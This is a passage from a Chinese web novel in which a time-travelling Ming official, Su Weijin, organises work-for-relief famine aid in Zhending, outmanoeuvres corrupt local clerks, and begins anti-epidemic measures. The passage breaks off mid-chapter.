苏惟瑾的方案完美支持了他修水利的主张,
而且更加系统、更有操作性!
他看向苏惟瑾的目光,顿时充满了欣赏。
暖阁内的气氛,因为这一份条陈,瞬间逆转!
苏惟瑾躬身道:
“陛下谬赞。
此皆臣平日读书偶得,
结合史册所载灾荒应对之得失,
胡乱揣摩而成。
史册有载,
古代早有以工代赈之法!
春秋时期,《管子·乘马数》中便记管仲之论,
遇大旱大涝则修宫室台榭,
使贫无立锥者务工取酬,
此为工赈之滥觞。
至北宋时,‘以工代赈’一词始现,
且成为朝廷明令推行的政策。
皇佑二年,范文正公在杭州遇饥荒,
便召集僧寺兴修土木、翻新官舍,
‘日役千夫’,以工代赈助灾民度过荒年。
本朝亦有前例,正统年间曾役京城饥民修建宫殿,
弘治时更有招募流民修堤授酬之举。
臣不过是借鉴前贤智慧,
结合今日灾情稍作调整。
若能对陛下分忧、
对灾民有万一之助,
便是臣之荣幸。”
这话说得漂亮,既谦虚,
又点明方案渊源有自,
合乎情理,更显其学识扎实。
嘉靖帝龙心大悦,当即拍板:
“苏爱卿所言,深合朕意!
**先生,费先生,即刻以此条陈为蓝本,
会同户、工二部,细化章程,
尽快拿出一个切实可行的方案来!
朕要看的是行动,不是空谈!”
“臣等遵旨!”
几位阁老尚书连忙躬身领命,
再看向苏惟瑾时,眼神已然不同。
这小子,既通经史又晓实务,简在帝心,怕是要一飞冲天了!
苏惟瑾退回角落,面色平静,心中却知,
这“欲取先予”的第一步,
走得扎实而漂亮。
超频大脑的降维打击,
再次于这大明王朝的权力中枢,
显露出惊人的锋芒。
而这,仅仅是个开始。
接下来的赈灾实施,
才是真正考验能力、
积累功绩和声望的大舞台!
第180章 钦差落地难,旧吏忙掣肘
苏惟瑾那份惊才绝艳的旱灾应对条陈,
恰如在死水般的嘉靖朝堂投下了一块巨石。
嘉靖帝朱厚熜龙心大悦,
连日来的阴郁一扫而空,
看向角落那个青袍修撰的眼神,
灼热得几乎要喷出火来。
这才是朕需要的人才!
干练、务实、有奇谋!
激动之下,嘉靖帝几乎要当场拍板:
“苏爱卿此策甚合朕心!
朕看,此次赈灾抚民事宜,
便由苏爱卿挂个‘协理’名头,
前往山东、北直隶统筹办理,
朕赐你王命旗牌,遇事可专断之!”
此言一出,文华殿内顿时一片死寂,落针可闻。
首辅**纪、次辅费宏眼皮狂跳,
户部尚书孙交更是差点一口气没上来。
让一个入翰林院不到一年的新科状元、
区区从六品修撰,去主持涉及数省、
关乎百万生灵的赈灾大事?
还要给王命旗牌?
陛下这是……
被这黄口小儿灌了什么**汤?!
“陛下!万万不可!”
一个声音急切入金,
带着不容置疑的坚决。
众人循声望去,竟是礼部右侍郎,
张璁一派的干将,姓钱名受辉。
此人年约四旬,面皮白净,
三缕长须修剪得一丝不苟,
此刻正一脸“忠君体国”的忧色。
“陛下,苏修撰才华横溢,献策有功,理当褒奖。
然则,赈灾之事,千头万绪,非比寻常文章。”
钱受辉语速极快,显然早有腹稿。
“苏修撰毕竟年少,甫入仕途,
于地方民情、钱谷刑名、
胥吏机巧,皆乏经验。
若骤然授以方面之权,
统摄数省,恐……
恐非爱之,实乃害之也!
倘若举措失当,非但无益于灾民,
反损朝廷威信,
亦折损苏修撰自身清誉啊陛下!”
这话说得冠冕堂皇,
句句仿佛都在为苏惟瑾和朝廷考虑,
实则字字诛心,核心就一条:
你苏惟瑾太年轻,没经验,不够格!
“钱侍郎所言,老成谋国!”
立刻有几位科道言官出声附和。
“苏修撰乃翰林清贵,
当于翰墨上下功夫,
这钱谷俗务,纷繁复杂,非其所长。”
“是啊陛下,千金之子坐不垂堂,
苏修撰乃状元之才,将来必为宰辅,
何必急于一时,涉此险地?”
就连原本对苏惟瑾方案有些欣赏的工部尚书赵璜,
也犹豫了一下,开口道:
“陛下,钱侍郎所虑,不无道理。
地方事务,盘根错节,
非有老成持重之员坐镇,恐难驾驭。”
他倒不是针对苏惟瑾,
而是确实担心一个年轻人下去会被地方上的老油条们玩死。
嘉靖帝脸上的兴奋渐渐冷却下来。
他虽年轻,却也明白众怒难犯,
尤其是涉及到官员任用和权力分配这种敏感问题。
张璁**显然不愿看到苏惟瑾这个“帝党”新星如此快掌握实权。
而其他老臣,也多持保守态度。
他若强行任命,必遭激烈反对。
超频大脑瞬间分析了朝堂局势,
苏惟瑾知道自己必须表态了。
他立刻出列,躬身朗声道:
“陛下,钱侍郎及诸位老大人所言极是!
臣年轻识浅,确无地方经验,岂敢担此重任?
日前条陈,不过是书生之见,
纸上谈兵,供陛下与诸位老大人参考。
具体施行,非有历练深厚、德高望重之重臣不可!”
他以退为进,姿态放得极低,
既给了皇帝台阶,也堵住了反对者的嘴。
嘉靖帝见他如此懂事,
心中惋惜稍减,沉吟片刻,折中道:
“既然如此……也罢。
擢升工部右侍郎石巍为钦差大臣,
总揽北直隶、山东旱灾赈济事宜。
苏惟瑾……
加‘翰林院修撰协理赈灾事务’衔,
为副使,随同石侍郎前往,
参赞机宜,其所陈条策,
着石巍酌情采用。”
石巍,年近五旬,
是工部中少有的实干派,
性格耿直,不党不私,
由他挂帅,各方都能接受。
而苏惟瑾这个“副使参赞”,
名分不高,实则被赋予了“方案主要制定者”的角色。
这是个典型的妥协方案。
“臣等遵旨!”
众臣见皇帝让步,也都松了口气,纷纷领命。
半月后,河北真定府,旱魃肆虐之地。
钦差行辕设在真定府衙内。
虽是钦差驾临,
但府衙上下透着一股子难以言说的怠惰和敷衍。
庭前的杂草只是象征性地割了割,
廊下的灰尘也未曾细扫。
前来拜见的真定知府吴有德,
是个胖乎乎的中年人,
面团团的脸上堆满了谦卑的笑容,
但那双细长的眼睛里,
却时不时闪过一丝不易察觉的精明与算计。
“石部堂、苏修撰一路辛苦!
下官已备下薄酒,
为二位大人接风洗尘!”
吴知府热情得近乎谄媚。
正钦差石巍是个黑瘦严肃的老头,
一路行来,眼见田地龟裂、禾苗枯焦,
心情本就沉重,哪有心思饮酒,直接摆手:
“接风就免了!
吴知府,即刻召集府衙相关属官,
并呈报最新灾情、府库钱粮、
在册丁口数目,本官要详细了解情况!”
“是是是,部堂雷厉风行,
心系黎民,下官佩服!”
吴知府脸上笑容不变,
连声答应,眼神却悄悄瞟了一眼旁边一直沉默不语的苏惟瑾。
这个年轻的副使,才是陛下特意点名跟来的人,
据说那套惹出无数麻烦的“新法”就是出自他手。
会议在府衙二堂举行。
石巍坐在主位,苏惟瑾坐在下首。
真定府的同知、通判、推官以及户房、工房等一众胥吏头目分列两旁。
石巍开门见山,
要求立刻按照苏惟瑾条陈所议,
开展以工代赈,疏浚府城附近的河道,
并统计受灾人口,准备设立“洁净营”。
话音刚落,户房那位姓王的书办就苦着脸出列:
“部堂明鉴,府库……
府库实在空虚啊!
去岁钱粮早已解送京师,
今夏税收又因旱灾无法征收,
实在是巧妇难为无米之炊……”
工房的李书办也接口道:
“石部堂,疏浚河道是好事,
可这征发民夫,需要粮饷,
需要工具,还需要懂水利的师傅……
仓促之间,难以筹措啊。
况且,如今百姓饥乏,恐怕无力劳作……”
通判周文才,一个留着山羊胡的干瘦官员,
捋着胡须慢悠悠地道:
“部堂,苏修撰的条陈固然高明,
但……‘以工代赈’之法,前所未有。
下官担心,灾民饥饿难耐,
若见有粮而不直接发放,
恐生民变啊!
还是按老规矩,设粥棚赈济
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,最为稳妥。”
你一言我一语,核心意思就一个:
没钱、没人、没工具,
新法子有风险,还是按老规矩来最保险。
表面上恭敬有加,理由冠冕堂皇,
实则软钉子一个接一个,
就是要让你这新政策推行不下去。
石巍性子耿直,被这帮胥吏推三阻四气得脸色铁青,
却又一时抓不住他们把柄。
他久在中央,
对地方这套“上有政策、下有对策”的太极拳,
确实缺乏应对经验。
苏惟瑾冷眼旁观,
超频大脑早已将众人的表情、语气、借口分析得透彻。
他知道,真正的阻力并非来自天灾,
而是这些盘踞地方、利益盘根错节的旧吏和豪强!
以工代赈,断了他们以往在赈灾钱粮中上下其手的财路;
清查人口、规范管理,
触动了他们隐匿田亩人口、逃避赋税的特权。
他们怎会甘心配合?
就在石巍快要拍桌子时,
苏惟瑾轻轻咳嗽一声,
吸引了所有人的注意。
他脸上带着人畜无害的温和笑容,
看向那位叫苦连天的户房王书办:
“王书办说府库空虚,确是实情。
不过,据我所知,真定府常平仓应有存粮定额吧?
可否将历年常平仓进出记录,
以及目前实际存粮数目,拿来一观?”
王书办脸上的笑容瞬间僵住,额角渗出一丝细汗。
苏惟瑾又转向工房李书办:
“李书办担忧工具和师傅,也有道理。
不过,我记得朝廷历年都有拨付水利修缮银两,
真定府想必也有结余?
至于懂水利的师傅,
府衙工房理应就有相关匠户名册吧?
可否一并取来?”
李书办的脸色也变得有些不自然。
最后,苏惟瑾看向通判周文才,
笑容依旧温和,眼神却锐利了几分:
“周通判担心民变,乃老成之言。
不过,正因担心民变,
才更需积极引导,以工代赈,
使民有所劳,心有所系,方是长治久安之道。
若只知设粥棚放任不管,
饥民**,无所事事,
才是真正取祸之道。
周通判以为呢?”
周文才被问得一噎,
山羊胡抖了抖,竟一时不知如何反驳。
苏惟瑾不再理会他们,转身对石巍拱手道:
“石部堂,看来地方上确有难处。
不如这样,我们先从核查府库、仓廪、
匠户名册等基础数据开始。
数据清楚了,才能有的放矢。
若真有人敢在灾荒之年,
于钱粮人事上动手脚……”
他顿了顿,声音平和,
却带着一股寒意。
“那便是罔顾圣恩、草菅人命,
王命旗牌之下,正好祭旗。”
一句话,轻飘飘的,
却让堂下所有胥吏官员后背一凉!
这小子,年纪轻轻,笑里藏刀,不好糊弄!
石巍闻言,精神一振,立刻喝道:
“就依苏修撰所言!
即刻将相关账册、名目全部搬来!
本官与苏修撰要亲自核对!”
第一回合交锋,看似波澜不惊,实则暗流汹涌。
苏惟瑾这柄钦差利剑,才刚刚出鞘,
剑锋已直指地方积弊的核心。
这才是真正的较量,
那些阳奉阴违的胥吏豪强们还没意识到,
他们面对的,是一个拥有超频大脑、
熟知古今舞弊手段、且决心要拿他们立威的“煞星”。
第181章 听风巧施计,后院起火时
真定府的夏日,
比京城更添几分酷烈。
日头毒辣辣地炙烤着大地,
原本应是绿意盎然的田野,
如今只剩一片刺眼的土黄,
龟裂的土地像老人干枯脸上的皱纹,
诉说着无尽的焦渴。
稀稀拉拉的灾民蜷缩在城墙根下的阴凉处,
眼神麻木,唯有苍蝇嗡嗡地围着他们打转,更添几分死寂。
钦差行辕设在府衙后院,
虽比前堂阴凉些,
但空气中弥漫的压抑和僵持,
却比暑气更让人喘不过气。
正钦差石巍连着几日召集府县官员、
胥吏头目议事,
推行以工代赈、核查府库,
却宛如重拳打在棉花上,
进展缓慢得令人心焦。
户房书办赵奎,是个四十多岁、脑满肠肥的汉子,
一双小眼总是眯缝着,
透着一股子油滑精明。
他是真定府的“老土地”,
盘踞户房多年,上下关系盘根错节,
府库钱粮、田亩丁口的账目,
大半都在他肚子里装着。
石巍几次三番要求调阅近年账册,
尤其是常平仓的收支记录,
这赵书办总能找出各种理由推脱
——不是管钥匙的吏员告假,
就是账册因之前雨水受潮正在晾晒,
再不然就是需要时间整理归类。
“石部堂明鉴,不是下官不尽心,
实在是……唉,
府衙琐事繁多,人手又不足,
还请部堂宽限几日,
容下官细细清点,定当完整呈上。”
赵奎点头哈腰,脸上堆着谄媚的笑,
话却说得滴水不漏,软中带硬。
石巍气得胡子直翘,却碍于身份,
不好直接对一个胥吏发作,
只能拍桌子训斥知府吴有德督办不力。
吴有德则像个面团,唯唯诺诺,
把责任全推给“下面人办事拖拉”,
自己摘得干干净净。
苏惟瑾作为副使,
一直冷眼旁观。
他超频的大脑早已分析出,
这赵奎是关键人物,
拿下他,就能撕开真定府吏治**的口子。
但强压不行,这地头蛇根基太深,需巧力破局。
就在苏惟瑾苦思破局之策时,
一封信由苏惟山通过隐秘渠道送到了他手上。
信是沈香君从京城寄来的,
用的是一种特制的隐写药水,
需在烛火上微烤方能显形。
信的内容让苏惟瑾精神一振!
沈香君在信中并未过多寒暄,直接切入正题:
“公子钧鉴:
闻公子赴真定公干,香君心系。
近日‘云裳阁’接待一位原籍真定的客商女眷,
闲谈间偶得一事,或对公子有所助益。
彼言其族叔乃真定府户房书办赵奎之连襟,
尝于酒后失言,道赵奎其人,
性极贪鄙,尤好渔色,
然生平有一惧,便是其妻柳氏。
柳氏乃城中屠户之女,性如烈火,善妒,
赵奎每有风流韵事,必被其揪打责骂,颜面尽失。
又闻赵奎曾利用职权,于去岁秋粮入库时,
与仓大使合谋,以陈米充新米,
暗中倒卖差价约二百两,
此事虽隐秘,然其曾醉酒向连襟炫耀,或有痕迹可循。
信息琐碎,不知有用否?
香君在京,一切安好,
盼公子早日凯旋。
知名不具。”
信息不长,却字字千金!
沈香君不仅提供了赵奎的致命弱点(惧内),
还点出了一条可能存在的**线索(倒卖粮差)。
更重要的是,她透露了“云裳阁(听风小筑)”已经开始运转,
并能从看似无关的闲谈中提取出有价值的情报!
这份主动性和能力,远超苏惟瑾预期。
“好一个沈香君!真乃吾之臂助!”
苏惟瑾心中暗赞,
超频大脑立刻根据这份情报制定了行动计划。
他并未直接去查那二百两银子的旧账,
那需要时间,容易打草惊蛇。
他选择了更直接、
更立竿见影的方式
——利用赵奎的“惧内”!
苏惟瑾让苏惟山找来当地一个机灵又可靠的乞儿,
给了他几十文钱和一张叠好的字条,
低声吩咐了一番。
字条上没写任何敏感内容,
只模仿市井口吻,写了一首打油诗:
“赵家书办手段高,
城外金屋藏阿娇。
可怜河东狮吼怒,
今夜跪地求饶否?”
然后,他又让苏惟山设法打听到赵奎家的确切地址,
以及其妻柳氏每日下午常去的一家香烛铺子。
次日午后,那乞儿按照指示,
瞅准柳氏从香烛铺出来,
准备上轿回家的当口,
假装不小心撞了一下轿夫,
顺势将那张字条塞到了柳氏脚下的路边,
然后一溜烟跑了。
柳氏身边的小丫鬟眼尖,
捡起了字条,好奇地递给主母。
柳氏虽出身屠户,却也认得几个字。
她疑惑地展开字条,
一看内容,那张本就有些横肉的脸瞬间涨成了猪肝色!
诗里说的有鼻子有眼,
什么“城外金屋藏阿娇”,
这还了得?!
“好你个杀千刀的赵奎!
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竟敢背着我养外室!”
柳氏怒火攻心,也顾不上坐轿了,
拎起裙角,迈开粗壮的双腿,
化身一阵旋风般冲向府衙后街的宅子,
丫鬟和轿夫在后面追得气喘吁吁。
当天傍晚,钦差行辕的人都隐约听到赵奎家方向传来阵阵哭闹吵骂声,
还夹杂着摔砸东西的动静,
持续了将近一个时辰才渐渐平息。
第二天,赵书办来府衙点卯时,
所有人都吓了一跳。
只见他官帽下露出的小半边脸上,
赫然带着几道新鲜的血痕,
眼角乌青,走路也一瘸一拐,
精神萎靡不振。
同僚们想笑又不敢笑,
只能假装关心地问候。
赵奎支支吾吾,
说是昨夜不慎在院里摔了一跤。
更重要的是,当石巍再次催促调阅账册时,
赵奎虽然依旧推诿,
但那态度明显软化了三分,
眼神躲闪,不再像之前那样有恃无恐。
他甚至主动表示,
会加紧督促下面人整理,
争取三日内先将部分账目送来。
石巍虽不明就里,
但见阻力减小,自是满意。
唯有苏惟瑾,心中了然,
知道是沈香君的情报和那条“匿名打油诗”起了作用。
赵奎后院起火,焦头烂额,
自然暂时没那么多精力来刁难钦差了。
数日后,又一封来自京城的普通家书(表面内容是问候起居)送到了苏惟瑾手中。
在特定的字句下用密写药水显影后,
是沈香君简短的汇报:
“风闻赵家近日不宁,柳氏曾大闹。
未知是否与公子之事有关?
若需进一步举措,听风小筑可再‘听风’。”
她没有居功,只是巧妙地询问和暗示,继续提供支持。
这份体贴和敏锐,
让苏惟瑾心中泛起一丝暖意。
他提笔回了一封看似寻常的平安信,
只在末尾用隐语写道:
“风已听过,效果甚佳。
暂无需动,静观其变。
京中诸事,劳卿费心。”
这一次隔空配合,
虽未直接击倒对手,
却成功地缓解了眼前的僵局,
为苏惟瑾争取到了宝贵的时间。
沈香君和她初具雏形的“听风阁”,
第一次展现了其不可或缺的价值。
而苏惟瑾也意识到,
对付这些地方上的“硕鼠”,
有时候,从他们最意想不到的软肋下手,
比正面强攻更为有效。
真定府这潭浑水,
因为他和沈香君的里应外合,开始被搅动了。
第182章 超脑析人性,巧破中饱囊
赵奎赵书办脸上的抓痕和眼角的乌青,
像两盏信号灯,在真定府衙这潭深水里短暂地闪烁了一下。
原先抱成一团、阳奉阴违的胥吏集团,
内部出现了细微的裂痕。
有人暗自窃喜,有人兔死狐悲,
更多人则是惊疑不定,
猜测着那位年轻得过分、
总是面带微笑的苏副使,
究竟使了什么手段,
能让赵奎这等地头蛇吃如此闷亏。
然而,裂痕不等于瓦解。
以工代赈的政策推行,依旧阻力重重。
核查账册的要求,赵奎虽然不敢再明目张胆地拒绝,
却采取了更阴险的“拖延战术”
——送来的账册要么是些无关紧要的陈年旧账,
要么就是故意弄得混乱不堪,
字迹潦草,条目模糊,
让人看得头晕眼花。
工房那边也照样叫苦,
声称征集民夫困难,
工具短缺,水利老师傅卧病。
正钦差石巍气得在行辕里直转圈,
吹胡子瞪眼,
却拿这些滑不溜手的“府城蠹虫”没什么太好办法。
他久在中央,习惯的是堂皇正道,
对这种地方上盘根错节的软钉子,
颇有些力不从心。
“苏修撰,你看这……这如何是好?
陛下还等着咱们的成效呢!”
石巍看向一直沉默不语的苏惟瑾,
语气带着焦灼和一丝不易察觉的依赖。
几次接触下来,他已不敢小觑这个年轻人的心机和手段。
苏惟瑾放下手中那本被故意弄得污损的粮册,
脸上依旧是从容的浅笑:
“石部堂稍安勿躁。
蛇有蛇路,鼠有鼠道。
对付这些胥吏,光靠钦差的威严是不够的,
需得明白他们心里想什么,怕什么。”
他走到窗前,看着外面被烈日炙烤的院落,
超频大脑如似精密的手术刀,
开始剖析这群胥吏的群体心理和行为模式:
核心驱动力:利。
他们之所以阻挠,
是因为新政策断了他们传统赈灾中饱私囊的财路。
以往设粥棚,他们可以在米粮质量、数量上做手脚;
发放救济银,他们可以克扣、拖延;
征发民夫,他们可以吃空饷、收好处费。
而以工代赈、流程透明,
等于把他们捞油水的路子堵**。
行为模式:欺上瞒下,抱团取暖。
他们深谙官场规则,善于利用信息不对称来蒙蔽上官。
同时,由于利益共同体,
内部形成攻守同盟,
一损俱损,一荣俱荣,
所以格外团结。
弱点:
1.并非铁板一块:内部也有等级,有矛盾。
像赵奎这样的头目吃肉,
下面跑腿的小吏可能只能喝汤,
甚至汤都喝不上,心存怨气者大有人在。
2.畏惧权势:毕竟身份低微,真正面对不可抗拒的强权时,会迅速溃散。
3.贪欲是其命门:可以利用他们对“利”的追求,进行分化瓦解。
剖析完毕,对策已然清晰。
苏惟瑾转身,对石巍说道:
“石部堂,堵不如疏。
我们不仅要打破他们的旧规矩,
还要给他们立一套不得不遵守的新规矩,
并且,让一部分人能从新规矩里看到好处。”
他随即提出了自己的方案,
一套融合了现代项目管理与内部控制思想的简易制度:
一、流程公开,阳光操作。
·制作大幅“以工代赈章程告示”,
用大白话写明工作内容(如疏浚哪段河渠)、
每日工钱或粮食标准、
发放时间地点,
张贴于府衙门口及各个灾民**点。
·成立一个临时的“工赈核算所”,
由钦差行辕指派一名可靠书吏(可从底层不得志者中选拔)总负责,
再吸纳几名灾民中识字的代表参
与每日用工登记和粮食发放的监督。
多方签字画押,缺一不可。
二、钱粮分流,互相制衡。
·将赈灾钱粮分作两部分:
一部分用于支付工钱(小额、每日发放),
由“工赈核算所”直接管理;
另一部分用于购买工具、材料等大宗支出,
由府库按流程支取,
但每笔支出必须由钦差行辕、
府衙户房、工房三方会签,
并公示用途。
三、严惩立威,杀鸡儆猴。
·苏惟瑾建议石巍,
不必一开始就动赵奎这样的头目,
容易引发强烈反弹。
可以选择一两个跳得最欢、
平日里劣迹斑斑、
且证据相对容易抓的胥吏开刀。
比如,那个一直嚷嚷工具短缺的工房小吏李三,
苏惟瑾早已通过“听风小筑”的渠道,
得知其与城中一家铁匠铺有勾结,
虚报工具价格。
四、拉拢分化,给予希望。
·对于那些长期被压制、
不得志的底层吏员,公开宣布:
在此次赈灾中表现优异、
账目清楚、效率高者,
钦差行辕将予以记录,
并可视情况向吏部推荐,
给予“优等”考评,
或有机会被选拔进入新成立的“工赈核算所”任职,
获得更好的待遇和前途。
石巍听完,眼前豁然开朗!
这套办法,环环相扣,
既考虑了现实操作性,
又直指人性弱点,堪称老辣!
“妙!甚妙!
苏修撰真乃王佐之才!”
他忍不住击节赞叹。
说干就干。
石巍立刻以钦差名义发布命令,推行新制。
告示一出,灾民们将信将疑,
但看到“每日发粮”、
“灾民代表监督”等字眼,
还是燃起了一丝希望。
胥吏们则先是愕然,继而私下嗤笑。
“哼,黄口小儿,异想天开!”
“还想让那些泥腿子来监督?笑话!”
“三
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方会签?流程那么多,事情还办不办了?”
尤其是工房的李三,依旧我行我素,
对征集工具的任务敷衍了事,
甚至私下对同僚放话:
“看他们能奈我何?
离了咱们,他们连把铁锹都找不齐!”
然而,他们很快就笑不出来了。
新制度推行第三天,
石巍突然带人直扑工房,
点名要检查工具采购清单和库存。
李三猝不及防,支支吾吾,
拿出的清单漏洞百出。
石巍当场发难,下令搜查其办公之处和关联的铁匠铺,
果然搜出了虚报价格的证据和私下收受的贿赂!
“大胆李三!
灾荒之年,竟敢贪墨工赈银两,中饱私囊!
视朝廷法度如无物,视灾民生死如草芥!
来人,摘去他的头巾,押入大牢,候参!”
石巍须发戟张,厉声喝道。
李三吓得面如土色,瘫软在地,
被如狼似虎的差役拖走。
整个过程干净利落,证据确凿。
这一幕,被不少胥吏看在眼里,心惊胆战。
他们没想到钦差动手如此之快、如此之狠!
更没想到,苏副使设计的那套“多方签字”、
“公示”制度,真的开始运转,
让他们再难像以前那样浑水摸鱼。
与此同时,苏惟瑾亲自找了几名在府衙郁郁不得志、
但品行尚可、业务熟练的老书吏谈话,
许以“工赈核算所”的职位和未来的推荐机会。
这些人在旧体系下被赵奎等人压得死死的,
如今看到一线希望,又见钦差手段强硬,
心思顿时活络起来,开始悄悄配合工作。
杀鸡儆猴的立威,
加上拉拢分化的利诱,
双管齐下,效果立竿见影。
赵奎等人虽然恨得牙痒痒,
但见李三的下场,
又见内部开始出现松动,
再也不敢明目张胆地抵制。
核查账册的速度明显加快,
虽然送来的未必全是真账,
但至少表面功夫做得像样了。
工房征集民夫、工具的效率也提了上来,
第一条准备疏浚的小河道畔,
终于出现了灾民劳作的身影。
真定府衙这潭死水,
被苏惟瑾用智慧和权谋巧妙地搅动了。
政策推行的阻力大为减轻,
以工代赈的巨大车轮,
开始缓缓但坚定地向前滚动。
苏惟瑾站在行辕的台阶上,
看着远处河道上渐渐**的人影,嘴角微扬。
知识就是力量!
这次对人性的精准剖析和基于此设计的管理策略,
再次于这大明官场的微观层面,
展现出了降维打击般的威力。
在苏惟瑾的设想中
这不仅仅是一次赈灾,
更是一场深刻的管理变革实验。
而实验的成功,将为苏惟瑾积累下宝贵的**资本和实践经验。
真正的考验,或许还在后面,但第一步,他已经稳稳地迈了出去。
第183章 以工代赈起,流民变劳力
真定府城南,
滹沱河的一条淤塞严重的支流旁,
往日死寂的河滩上,
此刻却呈现出一派前所未有的繁忙景象。
烈日依旧灼人,
但空气中弥漫的不再是绝望的尘埃,
而是泥土的腥气、汗水的咸味,
以及一种名为“希望”的躁动。
数以千计的灾民,
不再是蜷缩在城墙根下等死的可怜虫,
而是变成了组织起来的劳动者。
他们肤色黝黑,衣衫褴褛,
但眼神里却重新燃起了光亮。
在钦差行辕新设立的“工赈核算所”小吏
和灾民代表的大声吆喝和组织下,
人群被分成了若干小队,
有的负责用简陋的箩筐、
独轮车清运河道里堆积多年的淤泥和垃圾;
有的负责加固破损的河堤,夯实土层;
还有一些稍懂些手艺的,
则在指定的区域修理破损的锄头、铁锹,
甚至学着用柳条和石块加固堤坡。
苏惟瑾并没有坐在凉爽的行辕里发号施令。
他穿着一身简便的棉布袍子,
戴着斗笠,亲自出现在工地上。
超频大脑化作一个高效的现场指挥系统,
飞速处理着眼前的信息:
工程流程优化:
他注意到最初民夫清淤是乱糟糟一拥而上,效率低下且危险。
他立刻画出简单的示意图,
建议改为“分段包干,流水作业”:
将河道划分为若干小段,
每段由固定的小队负责。
清淤队在前,将淤泥运到岸边指定地点;
加固队紧随其后,处理河堤;
最后由专人负责验收和记录工作量。
这样一来,职责清晰,
互不干扰,效率明显提升。
工具改良与资源调配:
他看到不少民夫使用的工具非常落后,
甚至有人用手刨泥。
他立刻召集工房的人和一些老农,
根据记忆画出几种简单但更有效的工具草图,
比如加宽加厚的铁锹头、
适合两人协作的运土筐架,
让铁匠铺连夜赶制一批。
同时,根据各小队进度和任务难度,
动态调整工具和饮水的分配点,
避免窝工和资源浪费。
劳动激励与尊严维护:
“工赈核算所”的摊位设在工地入口最显眼的地方。
每天收工时分,成了最激动人心的时刻。
各小队队长拿着记录本,
核对着每个组员完成的工作量(如清运了多少筐土,加固了多少尺堤岸),
核算所的小吏当场计算应得的工钱(主要是铜钱)或粮食(粟米、杂豆),
灾民代表在一旁监督。
然后,当着所有人的面,一一发放。
“张三,今日清淤十五筐,合工钱二十文,粟米三升!”
“李四家娘子,修补工具五件,工钱十五文!”
……
拿到实实在在报酬的灾民,
脸上绽放出久违的笑容,
小心翼翼地将铜钱和粮食揣进怀里,
仿佛揣着全家人的命。
这不仅仅是活命的粮食,
更是用自己汗水换来的尊严!
相比起以往施粥时那种**的等待和争抢,
这种感觉天差地别。
治安与卫生管理:
苏惟瑾还规定,工地设立简易的巡护队,
由灾民中选出的青壮轮流担任,
防止小偷小摸和打架斗殴。
同时,强制要求在各休息点设置开水桶,不准喝生水;
划定专门的排泄区域,
并派人定期撒上生石灰。
这些在现代看来最基本的卫生要求,
在古代灾荒时却能极大地减少疾病传播。
效果是立竿见影的。
仅仅几天功夫,
一段长约一里的河道就被清理得干干净净,
河堤也加固得结实实实。
浑浊的河水变得顺畅了许多,
虽然水量依旧不足,
但人们俨然已经能看到来年春雨后,
河水滋润两岸农田的景象。
更重要的是,真定府城的治安状况大为好转。
街面上游手好闲、伺机偷抢的流民几乎绝迹,
因为他们都去了工地。
城里的商户也惊讶地发现,
生意似乎好做了一些
——那些拿到工钱的灾民,
偶尔也会买点最便宜的盐巴、针线,
给死气沉沉的市集注入了一丝微弱的活力。
“瞧见没?那就是苏青天!”
工地上,一个刚领到工钱的老汉,
指着远处正在和石巍侍郎指指点点的苏惟瑾,
对身边年轻的后生说。
“要不是苏青天这‘以工代赈’的法子,
咱们这把老骨头,
估计早就喂了野狗咯!”
“是啊,爹!
干活虽然累,但心里踏实!
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>还能给家里娃攒点粮食过冬!”
后生抹了把汗,憨厚地笑道。
“苏青天”的名号,宛如长了翅膀,
迅速在真定府的灾民和普通百姓中传开。
他们不懂什么高深的政策,
但他们看得见被疏通的河道,
拿得到活命的粮食,
感受到了久违的安稳。
这份最朴素的感激,
比任何官样文章的褒奖都来得真实有力。
就连之前那些阳奉阴违的胥吏,
如赵奎之流,此刻也不得不暗自心惊。
他们原本以为这年轻翰林不过是纸上谈兵,
没想到执行力如此之强,手段如此之老辣!
看着工地上井井有条的景象,
看着灾民们对苏惟瑾那发自内心的拥戴,
他们此刻也明白,再想暗中捣乱,恐怕会引火烧身。
原先的那点小心思,
不得不暂时收敛起来,
至少在明面上,
开始配合钦差行辕的工作。
随行的官员,包括正钦差石巍,
对苏惟瑾更是刮目相看。
石巍看着眼前这热火朝天而又秩序井然的工地,
再想想之前自己只会跟胥吏吵架的窘境,
不禁感慨道:
“苏修撰,老夫真是服了!
你这法子,不仅活了民,
安了境,还兴了水利,
实乃一举数得!
回京之后,老夫定要据实奏报,为你请功!”
苏惟瑾谦逊地笑了笑:
“石部堂过奖了。
此乃陛下圣心独运,委以重任,
下官不过是恪尽职守,略尽绵力罢了。
真正辛苦的,是石部堂您居中调度,
是这些日夜辛劳的百姓。”
他巧妙地将功劳归于皇帝和上司,
自己则隐在幕后,
这份沉稳和识大体,
更让石巍高看一眼。
站在新修的河堤上,
望着远处渐渐落下的夕阳,
将劳作的人影拉得长长,
苏惟瑾心中并无太多得意,
只有一种踏实感。
前世带来的知识,
终究化为了惠及黎民的实实在在的政绩。
这“以工代赈”的第一把火,
烧得旺,烧得准,
不仅点燃了灾民的希望,
也照亮了他自己在嘉靖朝堂上的前程。
而这就是他的梦想!
他要运用超越时代的智慧,
去改造这个古老帝国。
第184章 防疫显奇效,瘟神绕道走
滹沱河支流的疏浚工程进展顺利,
河床见底,堤岸加固,
灾民们靠着劳作换来的粮食,
脸上渐渐有了活气,
真定府城内外那股绝望的死寂
也被热火朝天的景象驱散了不少。
然而,苏惟瑾的超频大脑并未有丝毫松懈,
反而如同最高级别的预警雷达,
持续扫描着一个比饥荒更可怕、
往往接踵而来的阴影——瘟疫。
大灾之后,必有大疫。
这是千古以来的血泪教训。
人口**、卫生条件恶劣、
尸体处理不及时、饮用水源污染……
所有条件都已具备,
瘟疫就像一头蛰伏的凶兽,
随时可能扑出,将之前所有的努力吞噬殆尽。
苏惟瑾深知,在这个没有抗生素、医疗水平低下的时代,
一旦疫情爆发,后果不堪设想。
预防,是唯一且最有效的手段。
他立刻以钦差副使的身份,
会同石巍,强令推行一套在外人看来“古怪”甚至“多事”的防疫措施。
第一道令:清洁水源,沸水饮用。
下令所有灾民**区和工地区,
必须挖掘指定的饮用水井,
井口加盖,严禁在已被污染的河道中取水。
更“离谱”的是,要求所有人,
尤其是孩童,必须饮用烧开过的水。
为此,在各处设立了集中的“开水灶”,由专人负责烧水。
第二道令:石灰消毒,秽物深埋。
调拨一批生石灰,分发下去,
要求对灾民临时居住的窝棚、
工地的厕所区域、
以及任何有污秽物的地方进行泼洒。
同时,划定远离水源和居住区的“秽物掩埋点”,
所有垃圾、人畜粪便必须集中深埋。
第三道令:病患隔离,严控流动。
设立“疠所”(隔离区),
